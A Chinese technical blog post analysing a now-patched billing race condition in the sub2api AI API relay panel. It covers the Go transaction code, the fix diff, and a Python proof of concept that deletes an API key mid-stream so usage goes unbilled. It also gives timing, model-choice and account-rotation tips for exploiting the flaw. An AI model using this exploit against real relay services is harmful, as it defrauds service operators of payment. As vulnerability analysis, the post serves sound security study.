水群的时候看有大佬发了一个中转bug报告,我研究了一下还真实现出来无限使用的脚本了,不过现在已经修复了,可惜,国庆节也那么积极服了
一、目标是什么 sub2api 是一套开源的 AI API 中转面板,Go 写的后端 + PostgreSQL,前端是 Vue。它做的事情就是:把上游各家(OpenAI / Anthropic / Gemini / Grok)的账号聚成一个池子,对外暴露统一接口,用户拿它签发的 Key 来调用,按量扣钱。
对外接口是标准的:
1 2 3 4 5 POST /v1/chat/completions # OpenAI 兼容 POST /v1/messages # Anthropic 兼容 POST /v1/responses # OpenAI Responses POST /v1/embeddings POST /v1/images/generations
用户侧有两套鉴权:
用途
凭据
头
面板操作(建 Key、查余额、兑换卡密)
登录 JWT
Authorization: Bearer <jwt>
调模型
面板签发的 API Key
Authorization: Bearer sk-xxx
计费模式有三种:余额扣费 (standard)、订阅配额 、以及 Key 自身的 quota 限额 。这三样在落账时都要更新。
二、正常的计费流程长什么样 一次请求的完整链路:
1 2 3 客户端 → 网关鉴权 → 选账号 → 转发上游 → 拿 usage → 落账 → 返回 ↑ 这里才扣钱
注意最后一步:扣钱发生在响应体读完之后 。因为只有拿到上游返回的 token 用量,才知道该扣多少。
落账的入口在 backend/internal/service/gateway_usage_billing.go:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 func applyUsageBilling (ctx context.Context, requestID string , usageLog *UsageLog, p *postUsageBillingParams, deps *billingDeps, repo UsageBillingRepository) (bool , error ) { cmd := buildUsageBillingCommand(requestID, usageLog, p) if cmd == nil || cmd.RequestID == "" || repo == nil { postUsageBilling(ctx, p, deps) return true , nil } billingCtx, cancel := detachedBillingContext(ctx) defer cancel() result, err := repo.Apply(billingCtx, cmd) if err != nil { return false , err } ... }
再往下是 backend/internal/repository/usage_billing_repo.go 的 Apply,一个标准的事务包裹:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 func (r *usageBillingRepository) Apply(ctx context.Context, cmd *service.UsageBillingCommand) (*service.UsageBillingApplyResult, error ) { tx, err := r.db.BeginTx(ctx, nil ) if err != nil { return nil , err } defer func () { if tx != nil { _ = tx.Rollback() } }() applied, err := r.claimUsageBillingKey(ctx, tx, cmd) if err != nil { return nil , err } if !applied { return &service.UsageBillingApplyResult{Applied: false }, nil } result := &service.UsageBillingApplyResult{Applied: true } if err := r.applyUsageBillingEffects(ctx, tx, cmd, result); err != nil { return nil , err } if err := tx.Commit(); err != nil { return nil , err } tx = nil return result, nil }
到这里都挺正常。问题出在第 2 步 applyUsageBillingEffects 里面。
三、根因:同一个事务里,扣钱在前、记账在后 把 applyUsageBillingEffects 摊开看(漏洞版本 ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 func (r *usageBillingRepository) applyUsageBillingEffects(ctx context.Context, tx *sql.Tx, cmd *service.UsageBillingCommand, result *service.UsageBillingApplyResult) error { if cmd.SubscriptionCost > 0 && cmd.SubscriptionID != nil { if err := incrementUsageBillingSubscription(ctx, tx, *cmd.SubscriptionID, cmd.SubscriptionCost); err != nil { return err } } if cmd.BalanceCost > 0 { newBalance, sufficient, err := deductUsageBillingBalance(ctx, tx, cmd.UserID, cmd.BalanceCost) if err != nil { return err } result.NewBalance = &newBalance result.BalanceOverdrafted = !sufficient } if cmd.APIKeyQuotaCost > 0 { exhausted, err := incrementUsageBillingAPIKeyQuota(ctx, tx, cmd.APIKeyID, cmd.APIKeyQuotaCost) if err != nil { return err } result.APIKeyQuotaExhausted = exhausted } if cmd.APIKeyRateLimitCost > 0 { if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil { return err } } if cmd.AccountQuotaCost > 0 && (...) { ... } return nil }
关键在 ③ 和 ④ 的实现。它们都是 UPDATE api_keys ... WHERE id = $2 AND deleted_at IS NULL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 func incrementUsageBillingAPIKeyQuota (ctx context.Context, tx *sql.Tx, apiKeyID int64 , amount float64 ) (bool , error ) { var exhausted bool err := tx.QueryRowContext(ctx, ` UPDATE api_keys SET quota_used = quota_used + $1, status = CASE ... END, updated_at = NOW() WHERE id = $2 AND deleted_at IS NULL -- ← 只看未删除的行 RETURNING quota > 0 AND quota_used >= quota AND quota_used - $1 < quota ` , amount, apiKeyID, ...).Scan(&exhausted) if errors.Is(err, sql.ErrNoRows) { return false , service.ErrAPIKeyNotFound } ... }func incrementUsageBillingAPIKeyRateLimit (ctx context.Context, tx *sql.Tx, apiKeyID int64 , cost float64 ) error { res, err := tx.ExecContext(ctx, ` UPDATE api_keys SET usage_5h = ..., usage_1d = ..., usage_7d = ... WHERE id = $2 AND deleted_at IS NULL ` , cost, apiKeyID) ... if affected == 0 { return service.ErrAPIKeyNotFound } return nil }
于是链条闭合了:
1 2 3 4 5 6 7 8 9 10 11 12 13 扣余额(②)已经写进事务 ↓ 累加 Key 配额(③)UPDATE 命中 0 行 ↓ 返回 ErrAPIKeyNotFound ↓ applyUsageBillingEffects 直接 return err ↓ Apply 里 return nil, err ↓ defer 里的 tx.Rollback() ↓ ② 扣掉的余额被一起撤销 → 这单白嫖
这就是根因:扣钱和记账在同一个事务里,但顺序是「先扣钱、后记账」,而记账那一步依赖于 Key 行仍然存在。 把 Key 删掉,记账失败,事务回滚,钱就退回来了。
顺带说一句,Apply 的第一步 claimUsageBillingKey 其实只是个请求级幂等去重 ,往 usage_billing_dedup 插一条 (request_id, api_key_id),跟这个漏洞没关系 —— 它也在同一个事务里,回滚时一起被撤销了。所以别指望用 X-Client-Request-ID 之类的请求头去撞去重表:request_id 是服务端生成的 UUID,客户端控制不了。
四、利用:抢在落账之前把 Key 删掉 既然根因是「落账时 Key 必须还在」,那利用思路就很直接了:
请求发出去之后、落账开始之前,把 Key 删掉。
时序窗口在这里:
1 2 3 4 5 6 7 8 t0 ├─ 建一个带 quota 的临时 Key t1 ├─ 用它发起一个长流式请求(stream=true) │ ↓ 上游开始吐 token(这期间 Key 必须还在,否则鉴权就挂了) t2 ├─ 请求还在途,面板上调 DELETE /api/v1/keys/{id} ★ 抢跑 │ ↓ api_keys.deleted_at = NOW() t3 ├─ 上游跑完,返回 usage t4 └─ 服务端落账:扣余额 ✅ → 累加 Key 配额 ❌ ErrAPIKeyNotFound → 事务回滚 └─ 余额零变化
注意 t2 的位置很讲究:必须等请求已经通过鉴权、上游已经开始生成之后再删 。删早了,网关鉴权那一步就直接 401 了。
面板的删除接口是软删,而且会顺手把 key 字段写成 tombstone:
1 2 SET key = $1 , deleted_at = NOW(), updated_at = NOW()WHERE id = $2 AND deleted_at IS NULL
所以删掉的 Key 立刻不能再用于鉴权 —— 这正好,反正后面也不用它了。
PoC 核心逻辑 去掉参数解析和日志之后,利用逻辑就这么多:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import threading, time, requests BASE = "https://target.example" def create_key (jwt, group_id, quota=1.0 ): """建一个带 quota 的临时 Key,返回 (key_id, secret)""" r = requests.post(f"{BASE} /api/v1/keys" , headers={"Authorization" : f"Bearer {jwt} " }, json={"name" : "tmp" , "group_id" : group_id, "quota" : quota}) d = r.json()["data" ] return d["id" ], d["key" ] def delete_key (jwt, key_id ): requests.delete(f"{BASE} /api/v1/keys/{key_id} " , headers={"Authorization" : f"Bearer {jwt} " })def exploit (jwt, group_id, model, delete_after=0.15 ): bal_before = get_balance(jwt) key_id, secret = create_key(jwt, group_id, quota=1.0 ) def killer (): time.sleep(delete_after) delete_key(jwt, key_id) threading.Thread(target=killer, daemon=True ).start() with requests.post(f"{BASE} /v1/chat/completions" , headers={"Authorization" : f"Bearer {secret} " }, json={"model" : model, "stream" : True , "max_tokens" : 4096 , "messages" : [{"role" : "user" , "content" : "写一篇 2000 字的长文" }]}, stream=True , timeout=600 ) as r: for _ in r.iter_lines(): pass time.sleep(5 ) bal_after = get_balance(jwt) print (f"余额 {bal_before} -> {bal_after} (变化 {bal_after - bal_before} )" ) return bal_after - bal_before
跑出来余额变化是 0,同时 /api/v1/usage 里能看到这次请求的记录 —— 调用记录在,钱没扣 。
五、不是所有模型都能绕 这是这个漏洞最有意思的地方 —— 它挑模型。
同一套利用代码,换个模型结果就完全不一样:
模型
实测耗时
结果
deepseek 系列(g98)
4.4 – 8.0s
照常扣费
grok-4.x(g69)
4.4 – 8.0s
照常扣费
gemini-image(g95)
4.4 – 8.0s
照常扣费
claude 系列(g87)
4.4 – 8.0s
照常扣费
gpt-5.5 / gpt-5.6-sol
20 – 112s
零扣费
gpt-6
20 – 112s
零扣费
glm-4.5
20 – 112s
零扣费
原因很简单:落账发生在响应结束之后。 请求跑得越快,落账来得越早,抢跑删除就越容易输给落账事务。
快模型 4~8 秒跑完 → 你还在等删 Key 的网络往返,事务已经 Commit 了 → 照常扣费
慢模型 20 秒以上 → 有充足时间把 Key 删掉 → 事务回滚 → 免单
所以「抢跑删除」的延迟得调:等响应头再删基本必输,得请求一派发就开始计时 。实战里 0.15 ~ 0.3s 这个区间比较稳。
但这里有个反噬:如果抢跑输了,钱就真扣了。 而扣余额的 SQL 是允许透支的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 func deductUsageBillingBalance (ctx context.Context, tx *sql.Tx, userID int64 , amount float64 ) (float64 , bool , error ) { err := tx.QueryRowContext(ctx, ` UPDATE users SET balance = balance - $1, updated_at = NOW() WHERE id = $2 AND deleted_at IS NULL AND balance >= $1 RETURNING balance ` , amount, userID).Scan(&newBalance) if err == nil { return newBalance, true , nil } if !errors.Is(err, sql.ErrNoRows) { return 0 , false , err } err = tx.QueryRowContext(ctx, ` UPDATE users SET balance = balance - $1, updated_at = NOW() WHERE id = $2 AND deleted_at IS NULL RETURNING balance ` , amount, userID).Scan(&newBalance) ... return newBalance, false , nil }
第二段没有余额下限校验,sufficient=false 只是返回给上层记个 BalanceOverdrafted 标记。也就是说,一直漏费会把余额一路扣成负数。 我就是这么把自己的号打成 -0.0123884 的。
六、官方怎么修的:就差一个 && 对比修复版本(0.2.13)和漏洞版本(0.1.176)的同一个函数,diff 只有两处:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if cmd.APIKeyQuotaCost > 0 { exhausted, err := incrementUsageBillingAPIKeyQuota(ctx, tx, cmd.APIKeyID, cmd.APIKeyQuotaCost)- if err != nil { + if err != nil && !errors.Is(err, service.ErrAPIKeyNotFound) { return err } result.APIKeyQuotaExhausted = exhausted } if cmd.APIKeyRateLimitCost > 0 {- if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil { + if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil && !errors.Is(err, service.ErrAPIKeyNotFound) { return err } }
官方还顺手加了条注释,等于承认了这个问题:
修法就是:把「Key 不存在」从致命错误降级成可忽略错误。 Key 没了就不记它的配额,但余额该扣还是扣,事务正常提交。
这个修法很精准 —— 它没有去动「扣钱在前、记账在后」的顺序,而是直接消除了「记账失败导致整体回滚」这个后果。换句话说,顺序问题还在,只是不再有可利用的后果了 。
七、三个前提条件,缺一不可 想复现这个漏洞,下面三条必须同时成立:
1. 临时 Key 必须带 quota(quota > 0) 这是最容易忽略的一条。看 shouldDeductAPIKeyQuota:
1 2 3 func (p *postUsageBillingParams) shouldDeductAPIKeyQuota() bool { return p.Cost.ActualCost > 0 && p.APIKey.Quota > 0 && p.APIKeyService != nil }
p.APIKey.Quota > 0 是硬条件。建 Key 时如果不填 quota(或者填 0,代表不限额),APIKeyQuotaCost 就是 0,applyUsageBillingEffects 压根不会去碰 api_keys 表,也就永远不会报 ErrAPIKeyNotFound —— 漏洞直接失效。
所以建 Key 的 payload 里那个 quota 字段不是可选项,它是触发回滚的开关 :
1 {"name" : "tmp" , "group_id" : 74 , "quota" : 1.0 }
2. 账号余额必须大于 0 这个是我踩得最惨的坑。余额变成负数之后,整个账号会被网关鉴权中间件 直接拦死:
1 2 3 4 func apiKeyBalanceBelowAuthThreshold (balance float64 , _ *config.Config) bool { return balance <= 0 }
实测覆盖面(余额 -0.0123884 时逐条打):
路由
结果
GET /v1/models
403 INSUFFICIENT_BALANCE
POST /v1/chat/completions
403
POST /v1/messages
403
POST /v1/responses
403
POST /v1/embeddings
403
POST /v1/images/generations
403
POST /v1beta/models/*(Gemini 原生)
403
GET /v1/usage
200(唯一放行的只读路由)
所有生成类路由全军覆没,没有漏网的。
这点必须想清楚:这个漏洞能实现的是「不扣钱」,不是「负余额也能用」。 它是给你省钱的,不是给你救命的。想用就得先把余额维持成正数 —— 这也是为什么「漏费即停服」的护栏很重要。
3. 建 Key 有频率配额,它就是吞吐天花板 利用要「一请求一 Key」,那就得考虑建 Key 的频率限制:
1 apikey:create_count:<userID> Redis 固定 1 小时窗口
默认 60 次/小时/账号。删 Key 不会退还次数 (用 ExpireNX 设 TTL,只在首次 INCR 时生效,所以轮询等窗口是安全的,不会把窗口往后推)。
于是绕过模式的吞吐上限就是 60 请求/小时。想提高只能多账号轮换,因为计数键是按 userID 隔离的。
八、总结 把整条链子压缩成一句话:
扣钱和记账写在同一个事务里,扣钱在前、记账在后;记账那一步要求 Key 行还存在。请求在途时把 Key 软删,记账报 ErrAPIKeyNotFound,事务回滚,已经把扣掉的余额一起撤销了。
作者:NowPion